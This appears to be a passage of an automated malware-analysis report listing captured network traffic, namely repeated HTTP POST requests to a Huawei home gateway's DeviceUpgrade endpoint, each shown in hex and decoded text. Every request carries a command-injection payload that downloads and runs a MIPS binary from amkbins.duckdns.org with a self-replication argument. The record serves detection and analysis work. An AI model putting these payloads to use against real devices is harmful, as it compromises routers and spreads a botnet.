67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 